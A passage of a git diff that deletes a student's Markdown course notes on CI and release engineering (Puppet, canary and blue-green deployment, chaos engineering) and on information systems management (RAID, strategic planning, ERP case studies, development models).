-- Cycle: build → git → build → test → report -- Tools: - - Install: Jenkins, CruiseControl, Buildbot - - Cloud: Travis CI, GitHub Actions, Circle Ci - -[An Empirical Study of Projects that (mis)use Travis CI](https://rebels.cs.uwaterloo.ca/papers/tse2018_gallaba.pdf) - -- Build job processing service - - apply changes to latest source code, run tests, possible distribute - - configuration via language property, services, before_install, install - -Robust Build System - -- Invest time creating and maintaining -- Issues: broken build or weird bugs - -Flaky tests - -- Result can fail even with the same input (non-deterministic behaviour) - - False positive - - Code might be fine and there is a loss in trust of the test - - False negative - - a test passes but it should've failed - -### How to Read a Paper - -- key contributions -- limitations -- replicate or extend -- three-pass approach - 1. Rough overview (10 minutes) - - Title, Abstract, Introduction - - Read section and subsection headings - - Read conclusion - 2. ??? see slides - 3. ??? - -[An Empirical Study of the OpenStack Community](https://rebels.cs.uwaterloo.ca/papers/ase2023_maipradit.pdf) - -- Q1: The recheck command is used to rebuild without updating code in the discussion thread -- Q2 42% of rebuilds pass -- Q3: Justifiable waste is one recheck (that changes the status). 24% rechecks were justifiable (16.78 years of computational time out of 187.4 years) -- Q4: understanding how to reduce these wastes by better handling failed CI builds, further studies for better identification and awareness of such resource waste to developers, and tool support to reduce the waste produced by repeated rebuilds. - -### CI Resources are a shared commodity - -- build minutes -- user seats -- tragedy of the commons - - unfettered access to a resource - - no formal rules to regulate access - - accelerated depreciation of a resource due to self-interest - -Cost of rechecking - -- OpenStack wasted: 187.4 build years - - developer cost is 16.81 years waiting for re-checks -- precisions and recall - -### CI Acceleration - -- mitigating the re-check riot problem -- cloud-based CI solutions tacitly encourage wasteful behaviour - - `runs-on: ubuntu-latest` (starting with a fresh container, no reusability) - - a fresh copy is cloned (wasteful bandwith) -- Does every change require a CI run? - - Updates to comments in the code - - Only updates the README.md - - Changes an area not tested by the CI test suite -- Existing solutions - - CI skip - - Github allows devs to indicate change sets that do not require a build - - Magic phrase in the commit message [github: skipping workflow runs](https://docs.github.com/en/actions/managing-workflow-runs/skipping-workflow-runs) - -[Which Commits Can Be CI Skipped?](https://ieeexplore.ieee.org/abstract/document/8633335) - -- Our findings show that our rule-based technique can detect and label CI commits with an Areas Under the Curve between 0.56 and 0.98 (average of 0.73) -- On average, 18.16% of commits are skipped -- [CI-Skipper prototype](https://github.com/suhaibmujahid/ci-skipper) - - Feb 2017 -- TravisTorrent Dataset -- Need to create rules to skip CI on commits -- Security implications? - -- Q1. Rules derived based on commits that were explicitly skipped by real developers -- Q2. 0.73 (false positives against false negatives) -- Q3. impact of source code analysis on ci-skipper, build commits are predicted to be CI skip commits but they result in fail builds, machine learning techniques - -- Precision (noise in signal) = (true positive) / (true positive + false positive) -- Recall (completeness / end goal) = (true positives) / (true positives + false negatives) -- `f1 = 2 * (p * r) / (p + r)` - - tp vs fp (receiver operator characteristic curve) -- an AUC sets a coin flip to 0.5, so we know that the classifier is better when it is greater than 0.5 - -[A Machine Learning Approach to Improve the Detection of CI Skip Commits](https://ieeexplore.ieee.org/abstract/document/8961089) - -- Decision trees were used to produce classifiers. Why? Average AUC equal to 0.89 -- F1-score of 0.79 (AUC = 0.89), on average. This improvement equates to an average improvement of 2.4X -- cross-project classifier has as 1.5X over baseline - - baseline is the ratio of CI skip commits in the studied projects -- within project means tested on ourselves (past to future) whereas cross-project means trained on one project and used on another - -[A cost-efficient approach to building in continuous integration](https://dl.acm.org/doi/pdf/10.1145/3377811.3380437) - -- costs millions of dollars to Mozilla and Google -- the value is letting developers find bugs early -- want to fail builds as early as possible -- SmartBuildSkip: prediction - - first failure means later builds are more likely to fail - ---- -Midterm Cutoff - ---- - -## Virtualization - -- Virtual Machines emulate a computer system and provide a computer system within another computer system -- Needed for sharing infrastructure users to give the impression that each user has their own machine -- Shippable environment: makes an entire stack shippable with the operating system (e.g. GitHub) -- System virtualization: "full"; hosts an entire operating system -- Process virtualization: isolate software to run on the underlying problem - -## History of Virtualization - -- 1960s - - Goal: need to run legacy software on newer hardware - - Result: CP-67 mainframe system that supported virtualization - - Pros: Isolation; one user crashing wouldn't effect another -- 1980s - - Goal: treat a directory as another root directory - - Results: `chroot` - - Pro: Share of system and kernel level features - - Java - - Goal: compile-once-run-anywhere - - JVM: abstracts hardware details -- 1990s - - VMWare - - Hypervisor (virtual machine monitors) types - - Bare metal, where the hypervisor is running on hardware - - Hosted: a host OS is running on the hardware which runs the hypervisor - - ESX Server: run VMs without a host OS - - GSX Server: run VMs on Windows - - Workstations: Run VMs on Unix -- 00s and 10s - - Containers - - First appeared in Solaris 10 (2005), followed by Linux in 2008 - - Zones allow lightweight isolation with shared core of OS, system and apps - - Containers popularized by Docker (2013), which automates deployment - -### How to chroot jail - -1. SSH into the instance -2. Create a dir called jail -3. `cp /bin/bash jail/bin` -4. `ldd`: list shared libs needed for bash -5. create lib and lib64 in jail dir and copy libs over -6. run chroot to change root into jail. Repeat process to add ls and vim to jail - -Super painful. - -### Linux Support for Containers (LXC) - -- Set of processes running on top of a common kernel -- Isolated from rest and cannot impact each other or the host -- cgroups - - Control Groups - - Allow system to control access to system resource (meter, limit, restrict) - -### Docker - -[Notes extracted to /posts/docker-guide](/posts/docker-guide) - -### Traditional Development - -- Python runtime on the development machine -- Choice of Python runtime on development machine imposes constraints on the runtime that can be used in production - -## Infrastructure as Code - -- What is configuration? - - Networking - - Kernel features -- Application and Middleware - - Spring Boot - - bean configuration - - Component settings -- httpd: - - plugins - - documentroot - - SSL - -Writing configuration as code. Can be stored in a VCS. Manage and provision machines using code-like syntax rather tha interactive configuration tools. Automatically executed to perform tasks. - -Technologies: puppet, chef, terraform, ansible, SaltStack - -### Puppet Notes - -- Quest exercises were done - - ssh password for nodes is puppet -- Use `sudo puppet resource` to check a resource such as `package httpd` or `file /tmp/test` -- To use a module for a node, you need to include it or instantiate the class inside `site.pp` - - `/etc/puppetlabs/code/environments/production/manifests/site.pp` -- Validation: `puppet parser validate pasture/manifests/init.pp` -- The puppet server also has a admin portal - - Role-based access control system (RBAC) -- Example module init file - -```puppet -# /etc/puppetlabs/code/environments/production/manifests/site.pp -node 'pasture.puppet.vm' { - class { 'pasture': - default_character => 'bunny', - } -} -``` - -- explanations - - notify service: want to restart a service when a resource changes - -```puppet -# /etc/puppetlabs/code/environments/production/modules/pasture/manifests/init.pp -# parametrize -class pasture ( - $port = '80', - $default_character = 'sheep', - $default_message = '', - $pasture_config_file = '/etc/pasture_config.yaml', - $sinatra_server = 'webrick', -){ - - package { 'pasture': - ensure => present, - provider => 'gem', - before => File[$pasture_config_file], # pasture resource comes before this file - } - $pasture_config_hash = { - 'port' => $port, - 'default_character' => $default_character, - 'default_message' => $default_message, - 'sinatra_server' => $sinatra_server, - } - file { $pasture_config_file: - # source => 'puppet:///modules/pasture/pasture_config.yaml', # hard coded in files/pasture_config.yaml - content => epp('pasture/pasture_config.yaml.epp', $pasture_config_hash), # templates/pasture_config.yaml.epp - notify => Service['pasture'], # when this config resource is updated, restart the pasture service - } - - file { '/etc/systemd/system/pasture.service': - # source => 'puppet:///modules/pasture/pasture.service', # hard coded - content => epp('pasture/pasture.service.epp', $pasture_service_hash), # templates/pasture.service.epp - notify => Service['pasture'], - } - - service { 'pasture': - ensure => running, - } - # unless statement is also supported - if ($sinatra_server == 'thin') or ($sinatra_server == 'mongrel') { - package { $sinatra_server: - provider => 'gem', - notify => Service['pasture'], - } - } -} -``` - -Templates - -- variables defined at the top (provided via a hash on the pp side) -- usage of variables using `<%= $VAR%>` - -```epp -<%- | $port, - $default_character, - $default_message, - $sinatra_server, -| -%> -# This file is managed by Puppet. Please do not make manual changes. ---- -:default_character: <%= $default_character %> -:default_message: <%= $default_message %> -:sinatra_settings: - :port: <%= $port %> - :server: <%= $sinatra_server %> -``` - -- `facter` - - get facts about a system when requesting a catalog - - `-p`: include custom facts - - `facter -p os.family`: drill down - - manifests can access facts using `$facts['fact_name']` -- `puppet job` - - trigger puppet across multiple nodes remotely without needing to ssh manually - - need to be logged in `puppet access login --lifetime 1d` (use RBAC to create users) - - `puppet job run --nodes pasture-dev.puppet.vm,pasture-prod.puppet.vm` -- [sudo] journalctl -u pasture -e - - view logs for specific service unit `-u` - - the `-e` jumps to the end of the file - - to read a file starting from the bottom use `less +G file.log` -- The Forge - - community maintained modules - - `puppet module install puppetlabs-postgresql` installs the module `postgresql` to the modules directory -- A profile is a class that declares one or more related component modules and sets their parameters as needed. The set of profiles on a system defines and configures the technology stack it needs to fulfill its business role. - - The purpose of profiles is to avoid duplicating parameters when including a class for various nodes -- A role is a class that combines one or more profiles to define the desired state for a whole system. A role should correspond to the business purpose of a server -- Hiera: built-in data lookup. Use the `lookup(..)` and define variables in `data/common`, `data/domain` and `data/nodes` -- control repository: for setting up puppet from a git repo - - `puppet code deploy production --wait` -- Puppetfile: manages external dependencies `mod "puppetlabs/postgresql", '5.12.1'`. Requires a tool to get the entire tree - -## Deployment and Mitigating Failures - -- Integrate (push patches to git server) → Build (from source code) → **Deploy (new) → Monitor (new ideas for patches)** -- Deployment is a systematic process for making official version of software available -- Release pipelines require experts; DevOps / Release engineers / operators -- Release engineers increase the market potential of software organizations - - "Investment in release engineering has enabled Mozilla to compete with software giants like Microsoft, Google, and Apple" -- Release strategy - - Send compiled software to production team for etching on to shipment media - - Upload tarball to location on web - - Push changes into package repository like Maven Centra or NPM - - Upload new release to an app store like Google Play or Apple Store - -### Blue-Green Deployment - -[Blue-Green Deployment by Martin Fowler](https://martinfowler.com/bliki/BlueGreenDeployment.html) - -1. Blue-green deployment tackles the challenge of minimizing downtime when automating deployment -2. The challenge is addressed by ensuring there are two as-identical production environments and the latest version is deployed to the idle environment for testing before switching the router to target the blue environment -3. Roll-over/backs can be done by first running the application in read-only mode for some time before running it in read-write mode. -4. Speaking on disaster-readiness, since one environment is running a previous version or the staging version, this approach is equivalent to what would be needed in case of a disaster. -5. Trickiest tier from (web, app, database services) to maintain in blue-green architecture is the database service since there can be two different schemas for the database. To integrate it, the first scheme modification has to support both versions, and only when the old version is deprecated, should the schema support for it should be removed - -### A/B Testing - -An experimental design has subjects in a control group which does not receive treatment and are a baseline behaviour and a treatment group which receive a single change and a hypothesis was made. Subjects are randomly assigned to a control group or a treatment group. - -Hypothesis formulation is to improve a bottom line measurement such as the click through rate. Two versions of the application are deployed and tested against. - -Statistical hypothesis testing: - -- want to disprove something not accept something (null hypotheses) - - in software: click through rates on ads, performance (memory, CPU, I/O, network) -- used to check if two samples are derived from the same distribution -- statistical test is a _p-value_ -- compare p-value to alpha (threshold) value -- if the p-value is less than alpha, the null hypothesis should be rejected - - Fisher's test: null hypothesis is that the lady cannot detect milk-first - - Hypergeometric distribution: determine what what probability of high success is like (e.g. meeting something that would otherwise be 5%) - - Software: click-through rate in A and B are drawn from the same population - -Contingency table: - -| | Session w/ clicks | Sessions w/o clicks | Row total ---- | ---------------------- | --------------------------- | ------------- -Control (A) | a | b | a + b -Treatment (B) | c | d | c + d -column total | a + c | b + d | a + b + c + d - -`p = (a + b Choose a) * (c + d Choose c) / (N choose a + c)` - -### Canary Releases - -partial, time-limited deployment of a change in a service, followed by evaluation of the safety. Production may then be rolled forward, backward, or alert someone - -- coal mines often contain noxious gases -- early warning system: bring caged canary (bird) and the bird would die -- software releases introduces some risk and we want to minimize impact of deploying to a global userbase -- solution: distribute on a _canary_ channel and if it _dies_, make sure not to roll it out further - -decision-making - -- how to deploy partial service changes -- what safety metrics to collect -- how to compare metrics -- what is a _dead canary_ - -[Canary Analysis Service](https://is.gd/8xeKzf) - -- Canary Analysis Service by Google that analyzes key metrics -- Modifying versus Analyzing production -- conducts an A/B test of "is the canary meaningfully worse" -- default tooling integration and zero configuration option - - concessions in analysis quality - - no canary setup: rollout tool exposes canary to subset of population and remainder is the control and then asks CAS for the result -- Remote Procedure Calls are used (RPCs) -- API spec is that GetResult starts the analysis and blocks until complete. Since result for the same id is the same, the function is idempotent and so additional calls don't trigger anything but return the same result -- Returns PASS/FAILL -- check: combination of canary and control time series that can eb turned into PASS/FAILL - - crash rate, RPC error ratio, dataset size -- each evaluation request has multiple trials so there are a collection of checks. all checks must PASS -- configuration: what is the check called, how to get the time series for said check, how to turn a time series into a verdict, additional metadata - - Monarch is the source of monitoring data - - Abstract query turns into specialized query for particular population - - Common queries provided -- Coordinator - - Transactionally takes ownership of an evaluations - - if failed, the RPC is re-routed to the canonical coordinator - - Processes evaluations in memory - - Has a queue of RPCs that are awaiting the evaluation - - Updates the database after finishing - - Model component: predicted behaviours so predicted failure is not on the canary - - Checkpoints are made in case coordinator dies - - Autoconfiguration - -### Chaos Engineering - -- hard to predict production conditions -- rare environments lead to catastrophic failures -- improper fallback settings when service is down -- retry storms (improperly tuned timeouts) -- downstream dependency failure - - leftpad incident - - event-stream bitcoin mining exploit -- cascading failures -- What to do? - - sensitivity to change - - mimic chaos of real world deployment environment - - introduce experiment of: server crashes, hard disk failures, cleaning staff knocks network cable out of server - - compare to steady state version - -[Chaos Engineering](https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=7436642) - -- Chaos monkey: randomly terminate cloud nodes. Simulate potential outages during work hours -- Chaos Kong: can fail an entire region of EC2 instances on AWS. Runs monthly. -- Failure Injection Testing (internal service failures) -- Premise one: collection of services are viewed as a single system -- Premise two: inject real-world inputs to better understand the system -- Netflix: - - stream starts per second - - varies during the day but there is intuition whether it is within the standard range of variation - - new account signups per second -- happy path: inputs that do not error out - - not good because it does not account for real possibility of unlikable inputs -- failures of traditional testing: - - overloaded server → queue becomes longer and response slows down, and higher memory usage - - clients make requests to a cache that has cached a transient error - - integration testing required for the complex interactions - - sometimes only possible in production -- netflix runs chaos experiments continuously diff --git a/content/posts/university/cs-490-information-systems-management.md b/content/posts/university/cs-490-information-systems-management.md deleted file mode 100644 index 67029b9a7..000000000 --- a/content/posts/university/cs-490-information-systems-management.md +++ /dev/null @@ -1,1007 +0,0 @@ ---- -title: "CS 490 Information Systems Management" -date: 2023-05-09T13:02:11-04:00 -draft: false -tags: - - university - - computer-science -summary: "Comprehensive notes for CS 490 Information Systems Management, covering IS fundamentals, architecture, planning, IT infrastructure, business processes, project management, and information security." ---- - -{{< toc >}} - -## Introduction - -- Why are we building things. -- A system consists of components -- Ahmed Ibrahim: DC 2133 (Tuesday, Thursday after lecture) - -### The First System - -For 4000 years, writing was the only information technnology - -Data vs. Information - -data: raw facts before organization into an understandable form - -information: data that has been shaped into a meaningful and useful form for human beings - -### Business Transformation - -- automation and digitization -- data-driven decision-making -- enhanced customer engagement -- improved collaboration and connectivity -- disruption of traditional industries through new business models - -### Information Systems Management - -What are we doing after we build a system. - -#### Advantages - -- Survival -- Competitive advantages - -#### Success - -Correct tech, tools, processes, people, networks - -### Problems with Manual reservations - -- Difficult to match passenger names to seats -- Resulted in poorly managed inventory (i.e., seats on a fight) - - Over-booking: dissatisfied customers - - Under-booking: lost revenue -- Aircraft with greater seating capacity and greater frequency of use on the horizon - - More inventory and passengers to keep track of - -- Introduction of Sabre: - - Reduced man power - - American airlines - IBM - - Remote terminals - -### Waves of Innovation - -- cut costs -- generate revenue -- business survival - -### Software Architecture - -- architecture (conceptual) - - blueprint - - implementation independent -- infrastructure (physical) - - implementation dependent - - physical material - -#### Reference Architecture - -- captures main components -- high level abstraction -- common vocabulary -- comparative - -#### Architectural Styles - -- broad perspective on how to structure our -software application - -- Component-based -- Layered -- Pipes and filters -- Microkernel -- Client/server -- Event-driven -- Repository - -#### Monolithic - -- tightly coupled -- single large code base -- less scalable - -#### Service-Oriented Architecture (SOA) - -- reusable and interoperable via service interfaces -- common interface standards - -#### Microservice Architecture - -- single-function modules with well-defined interfaces and actions -- small teams own entire life cycle of the service -- The term “micro” refers to the sizing of a service which must be -#manageable by a single development team (5 to 10 developers). - -## Architecting A Solution - -### Three Tier - -- Presentation logic -- Application logic -- Data access logic & storage - -### Zero Client - -No persistent storage, firmware loads OS into memory on power on. - -- cost-effective -- low power consumption - -### Practice #3: A Weather Application - -- Many ways, most preferably the 3-tier system. -- Hybrid, weather data on server, peer - to - peer other - -### How to Find a Solution - -First ask, what have you tried already and why didn't it work? - -### Revenue Model - -Common Revenue Models: - -- Direct Sales – This model involves selling products or services directly to customers. -- Advertising – Companies generate revenue by displaying advertisements to their customers. -- Subscription – Customers pay a recurring fee (monthly, yearly) to access and use a product or service. -- Freemium – This model offers a basic version of a product or service for free, but -charges for additional features or premium versions. -- Licensing or Royalties – Companies grant licenses to third parties to use their intellectual property (such as patents, trademarks, or copyrighted material) in exchange for royalties or licensing fees. -- Affiliate Marketing – Companies earn a commission by promoting and selling other companies' products or services through affiliate links or referral programs. -- Data Sales – Companies collect and analyze data from their customers and sell or license the insights or anonymized data to other businesses or researchers - -### Revenue Model and Design - -- advertising requires placement of ads in GUI -- subscriptions and subscriptions requires compelling premium features -- data sales requires a scheme to collect data -- rapid user acquisition requires scalability and iterations - -### Triton Wear - -- accelerometers and gyroscopes - - stroke count, stroke rate, distance per stroke, and more -- wearable device, mobile app, cloud infrastructure and analytics capability -- User Interface - - Coach dashboard - - Athlete portal - - Integration and API for extending features -- simply and seamless -- quick setup -- engaging -- lots of data -- accurate, consistent, reliable -- focusing on the skills rather than the timing to maximize performance -- automated data visualization progression - -### External Factors - -- internet -- global marketplace -- micro-markets -- business ecosystems -- decapitalization -- faster business cycles -- accountability and transparency -- rising risks of IT - -### Internal Forces - -- supply-push to demand-pull - - respond to consumer demands and pull products -- self-service - - customers know what they want best -- real-time working - - responding fast to the customer demands - - optimized as possible -- anytime, anyplace information work - - remote / hybrid / mobile computing -- Outsourcing and strategic alliances - - Use of IT to help manage work across the extended enterprise -- Decease of hierarchy - - Equal playing field with shared authority - - Use of IT to facilitate information exchange - -### Strategies in the New Work Environment - -- leverage knowledge globally -- organize for complexity -- work electronically -- handle continuous and discontinuous change - -### Management Hierarchy - -- Senior - - Executive Support Systems -- Middle Management - - Management Information Systems (MIS) - - Decision Support Systems (DSS) -- Operational Management - - Transaction Processing Systems - -### Information Workers - -- Procedure-based - - Efficiency focused - - Easily measurable -- Knowledge-based - - Effectiveness - - Harder to define - -### Software Examples - -- Database Management System (DBMS) -- Document/file managment system (DMS) -- Content management system (CMS) - - Website support -- Knowledge manager system -- Customer relationship management (CRM) - -## RAID - -- Redundant array of independent disks. The OS thinks there is only one disk. -- Data Striping: unit one goes here, unit two goes there, unit three goes here as if there's one big disk; parallelism - -### RAID 0 - -Distributing data across at least 2 disks; each disk has different information. - -### RAID 1 - -Data is the same on all devices - -### RAID 10 - -Needs at least 4. Multiple groups of RAID 0s. Each group of disks gets different data. - -Or RAID 1 PLUS 0 - -### RAID 5 - -At least 3. Stripping with parity. Parity means if a disk fails, the parity can be used to generate the disk that fails. Parity is just enough information to recover the failed disk given that the other disks are available. - -### Storage Area Network - -- Fibre Channel Switch - - High performance to handle lots of data traffic - - Like a router but for fibre optics and wi-fi routing - - Wired connected to multiple RAID disks -- Block-level storage - - Hard drives appear as locally attached devices - -### Practical Exercise - -500,000 TB storage capacity, Seagate 10TB drives. 0.7% annual failure rate (AFR) - -Design for 99.99% availability. - -- redundancy, fault-tolerance, load balancing, regular maintenance -- RAID 10 to tolerate drive failure -- Distributed storage to increase reliability and availability -- Hot swappable driver - can replace drivers while system is running - -- Mean Time Between Failure = 1 / annual fail rate -- Mean Time to Repair = 1 / 365 - -Availability = Mean Time Between Failure / (MTBF + Mean Time To Repair) - -### Backup - -- Online backup (hot) -- Instant, protects against at least one HD failure - -### Offline backup - -- Done end of day -- Protect against complete failure - -### Archive - -- Full backups -- Differential backups - - alters existing backup -- Incremental backups - - Backup additions and alternations since the last incremental backup - -## Strategic Planning - -- Defining an organization's direction -- Allocation its resources to pursue this direction -- Planning helps a business identify its goals however technology changes very fast -- Strategic focus: 3-5 years (business processes) led by senior management -- Tactical focus: 1-2 years (resource allocation and project selection) led by middle managers -- Operational focus: 6-12 months (project management, budget) professionals - -### Why Planning Is So Difficult - -1. Alignment of strategic business Goals and -systems plans -2. Technologies are rapidly changing -3. Companies need IT portfolios rather than -projects -4. Infrastructure development is difficult to fund -5. Responsibility needs to be joint - -### Changing World of Planing - -- closest to the action - - organizational edge - - outside-in approach -- strategic envelope - - top management - - set parameters - - open and regulation communication - -### Eight Planning Techniques - -- Stages of growth - - Early successes (adoption), Contagion, Control, Integration, Data administration, Maturity - - assumes all organization are in the same stages in the same order - - pro: roadmap. con: assumes all orgs go through same stages in same order -- Critical success factor (CSFs) - - few key areas that must go right - - monitoring and building - - pro: resource alignment - - con: oversimplifying complex processes -- Competitive Forces Model - - Porter's five force { threat of new entrants, threat of substitutes, supplier power, buyer power, competitive rivalry } - - pro: understanding competitive forces - - con: fails to capture tech and societal shifts -- Three Emerging Forces (Digitization, Globalization, Deregulation) - - new business models - - telecommunications and transportation - - many industries - - pro: anticipate major trends - - con: overlook industry/region specific factors -- Porter's Value Chain Analysis - - support activities { firm infrastructure, HR management, tech development, procurement } - - primary activities { inbound logistics, operations, outbound logistics, marketing & sales, service } - - information as a source of value itself instead of as support - - pro: value adding activity analysis - - con: complex and time-consuming and does not capture intangibles -- E-Business Value Matrix - - new fundamentals { criticality to business = low, newness of idea = low } - - operational excellence { high, low } - - rational experimentation { low, high } - - breakthrough strategy { high, high } - - pro: identify opportunities for digital/online - - con: no offline -- Linkage Analysis Planning - - Examines the links between organizations in order to create a strategy for utilizing electronic channels - - pro: understand relationships - - con: complex and overlooks internals -- Scenario Planning - - long-term thinking to prepare for various scenarios - - explore forces that could cause different scenarios of the future to happen - - time consuming and highly uncertain. Risk of bias - - define decision problem and time frame - - identify major known trends - - identify driving uncertainties - - construct scenarios - - pro: long-term thinking, flexibility - - con: time-consuming, uncertain, bias - -## Managing Corporate Information Resources - -### IT Infrastructure - -- Hardware -- OS platform -- Application platform -- Data Management platform -- Network platform -- Internet platform -- Service platform - -### Approaches to Manage - -- Cost-centric view: minimizing IT infrastructure -- Service-Centric view: prioritize delivering reliable and high-quality IT services to meet user needs, focusing on service availability, performance monitoring, and incident response -- Innovation-Centric View: firms leverage IT infrastructure for innovation, seeking competitive advantage and business growth -- Risk-Centric view: risk management, robust security measures, disaster recovery -- Agility-Centric view: flexibility to respond quickly -- Data-Centric view: data-driven decision -- User-Centric view: end-user prioritization - -### Value Chain Model - -Multiple software systems for each part of the process: warehouse, operations, ordering, servicing, outbound / shipping - -problem: integration between the systems - -- could not detect a small item is missing - -- system should analyze habits of suppliers, users, employees, customers. -- suppliers and their suppliers, firm, distributors, customers - -Enhancement through information systems - -- Automating and streamlining primary activities (production, delivery, customer service) -- Optimizing support activities (procurement, logistics, human resources) -- Gathering and analyzing customer data (develop new products that meet customers' needs) -- Improving communication and collaboration (with stakeholders to enhance experience) - -### Business Process (BP) - -- Collection of business functions related to each other - - organization specific - - specific business function or across many BF's -- example: billing process in a physician clinic -- IBM business process software -- cross-functional - - order fulfillment process requires sales, accounting, manufacturing & production - -### Integration Tools - -- Enterprise Resource Planning (ERP) - - Integration all areas of a company - - Microsoft dynamics and vision - - data accuracy and consistency - - decision-making - - improved collaboration - - customer satisfaction - - Data accuracy and consistency: no separate systems, reduces risk of errors - - Better decision-making: realt-time - - Improved collaboration: across different departments and locations - - Increased customer satisfaction: better manage customer orders, inventory, and deliveries -- Supply chain management system (SCM) -- Customer relationship management systems (CRM) -- Knowledge management systems (KMS) - - Confluence - -### Haarslev Industry - -- Problem - - business process integrations of acquired companies - - global expansion - - lack of consolidation of operations - - Many ERP systems - - Process driven operations - - no streamlined system to allow this -- Microsoft Dynamics - - Global integration - - Unified business processes - - Enhanced process efficiency - - Adoption of best practices (RapidValue) - - Data Management - - Documentation and Customization - - Key components - - Finance - - Supply chain management - - Sales - - Customer Service - - Marketing - - Field Service - - Business Central - -### To-Increase \[...Microsoft Dynamics] - -- Database management system (DBMS) -- Cloud computing: scalability -- data analytics: insights and reports -- artificial intelligence: forecasting, automation, decision-making enhancements -- Internet of things: collect real-time data -- APIs: integration with other systems and services -- Mobile: accessibility -- Security - -## Information Systems Strategic Planning - -### Creating Video Games - -- Strategic planning is a process that involves defining an organization's direction and making decisions on allocating its resources to pursue this direction -- It involves setting goals, analyzing the competitive environment, creating a plan for achieving long-term success, putting it into action, and continually evaluating your process and its outcomes -- Tim Hortons, quick coffee delivery and walk-through -- McDonalds fully automated store - -### Customer Intimacy - -- know your customers really well -- understanding customers' needs, wants, preferences, and behaviours to anticipate before being asked - -### Operational Excellence - -- market is the total expenditure spent on a product or service -- Strategic planning for operational excellence involves formulating and implementing a plan that aligns all operational activities with the organization's strategic objectives - -### Competitive Advantage - -- unique strengths or capabilities -- Strategic planning for competitive advantage refers to determining how your -organization can best leverage its strengths and capabilities to gain the upper -hand over its competitors -- goal is sustainable - -### Stand-Out Firms - -- Stand-out form - - Firms that do better are said to have a competitive advantage - - Access to unique resource or they can use commonly available resource more efficiently - -### Strategic Planning Challenges - -- Technology comes outdated -- technology initiatives align with their overall strategic objectives -- agility and adaptable is required - -### Limitations of Traditional Strategy-Making - -- rigid long-term planning based on predictable trends (infeasible) -- rapid tech changes and shifts in consumer behaviour make trends less predictable -- failing to plan effectively potentially disrupts business operations or missed opportunities - -### Moore's Law - -- transistors / microprocessor power / computing power doubles every 18 months -- price of computing havens every 18 months - -### Sense and Respond - -The "sense-and-respond" approach is a strategic approach that emphasizes agility, adaptability, -and responsiveness to rapidly changing market conditions. Unlike traditional long-term planning, -which relies on rigid strategies, the sense-and-respond approach focuses on continuous -monitoring, sensing environmental changes, and quickly responding to them. - -- It emphasizes the importance of strategizing in areas where the action is most intense and speedy -such as customer interactions and feedback, frontline operations, and market changes. - -- In the sense-and-respond approach, organizations actively gather data and information from -various sources, which allows them to sense market trends, customer needs, and emerging -opportunities or threats. - -Microsoft and Sun/Java. - -### IBM in a Service-Oriented Architecture - -- flexibility to innovate and adapt processes as per business requirements, using a service-oriented architecture. - - easy modification and reuse of system components - - execution of changes to business rules and workflow redirection without extensive IT involvement -- real-time tracking and measurement of process effectiveness, customizable, real-time alerts -- process efficiencies -- tracks key performance indicators (KPIs) -- Aligning Processes with Planning - modelling and managing processes (e.g. customer service) -- Strategic Decision Making - evidence-based approach (monitoring and analytics) -- Operational Efficiency - identification of issues or gaps in processes (bottlenecks, redundancies, inefficiencies) -- Agility and Change Management - -### Komatsu - -- 52,000 invoices needed to be processed from suppliers MANUALLY -- Microsoft Power automate and AI builder automated workflow - - Document processing AI model - - three weeks - - Automating for one supplier resulted in processing 1,100 invoices in three weeks; 300 hours saved - - blueprint for other suppliers -- Citizen Developer Program - - empower employees to build business solutions - - aim to increase innovation -- Future plans - - encouraging others to adopt similar solutions - - enabling employees to focus on more critical tasks. - -## Tools for Business Analysis - -- Brainstorming, SWOT (Strengths, Weaknesses, Opportunities, Threats), Porter's Competitive Forces Model, COPE analysis, PEST analysis (Political, Economic, Social, and Technological), STEER analysis (socio-cultural, technological, economic, ecological, regulatory), EPISTLE (environment, political, infomatic, social, technological, economic, legal) - -### SWOT Analysis - -- Objectives of the business - -### Porter's five force - -- { threat of new entrants, threat of substitutes, supplier power, buyer power, competitive rivalry } - -### VC Benchmarking - -- Compare VC or investments to industry benchmarks or standards -- financial returns, investment strategy, portfolio composition, deal flow, and fund performance -- evaluate success and effectiveness of VC firms in generating returns and to identify opportunities for improvement or best practices - -## Management Issues in Information Systems Development - -1. How does an org ensure that its IT resources support its business plan -2. How does a systems project get authorized - - stakeholders - - project charter (objectives, scope, stakeholders, milestones, budget, and other key details) -3. How to ensure compatibility and interoperability across different system development efforts -4. How is a project controlled and reviewed - -### Systems Development - -- strategic alignment, effective communication, resource allocation, performance metrics, risk management - -### Baseline IT Plan - -- Based upon businesses multiyear strategic plan -- Major IT initiatives -- IT requirements - -### Steering Committee - -- Group of people responsible for making decisions and providing guidance on a specific project or initiative -- Project initiative is aligned with the organization's goals and objectives - -### Development Process - -- System Development Lifecycle (SDLC) (structured set of activities) -- Goal: deliver high-quality system that meets or exceeds customer expectations and is completed on time and within budget - -### System Process Descriptions - -- Products: outcomes -- Roles: responsibilities of people involved -- Pre and post conditions: conditions before starting and after a process is done - -### Traditional Waterfall Model - -- Separate and distinct phases of specification and development -- lack of flexibility - - rigid sequences of phases -- limited customer involvement - - initial requirements gathering does not involve customer -- high risk of project failure - - assumes all requirements can be defined at the beginning -- lack of detection of defects - - testing performed at later stages of the traditional model -- limited visibility and feedback - - limited visibility of progress until later stages -- long development cycles - - each phase needs to be completed before the next - -When to use - -- requirements unlikely to change -- stricter control and more predictable budget and timeframe (government) -- multiple rules and regulations must be followed when working on a project (healthcare projects) -- well-know tech stack -- mission-critical applications - -### Incremental Development - -- Specification, development, and validation are interleaved -- Customer value delivered with each increment -- Rapid delivery -- Variable requirements are easy to accomodate -- Process not visible, regular deliverables required -- System structure degrades with each increment unless refactored - -- Useful for loosely coupled parts such as microservice or web services -- Unclear business needs -- R&D or introduction of new product - -- Quick and early working software -- Flexible -- Easier to test and debug during a smaller iteration -- Easier to control risk - -- Not all requirements are gathered up front, leading to system architecture affecting problems -- Pressure on user engagement -- Feature creep: product requirements increase during development beyond expected initially - -### Project Kickoff - -- Requirements - - Gathering - - Analysis - - Specification (documenting) - - Evaluation (validation) → re-evaluate (analysis) - -A requirement is a simple statement of what the system must do or what characteristics does it have. Requirements will describe - -- business requirements -- user requirements - - what does the user expect the system to be able to perform - - tasks integral to business' operations -- functional requirements (what software should do) - -- non-functional requirements or quality attributes (system characteristics) - -### System & Software Design - -- System's Architecture - - high-level roadmap - - relationships between requirements and its components - - must be regularly updated - - specific design decisions and priorities can be made within this framework -- System Design - - Identify design goals - - System decomposition - - Hardware/Software mapping - - Persistent Data Management - - Version Control -- System Decomposition - - Top-down representation breaking down complex functions - -### Development 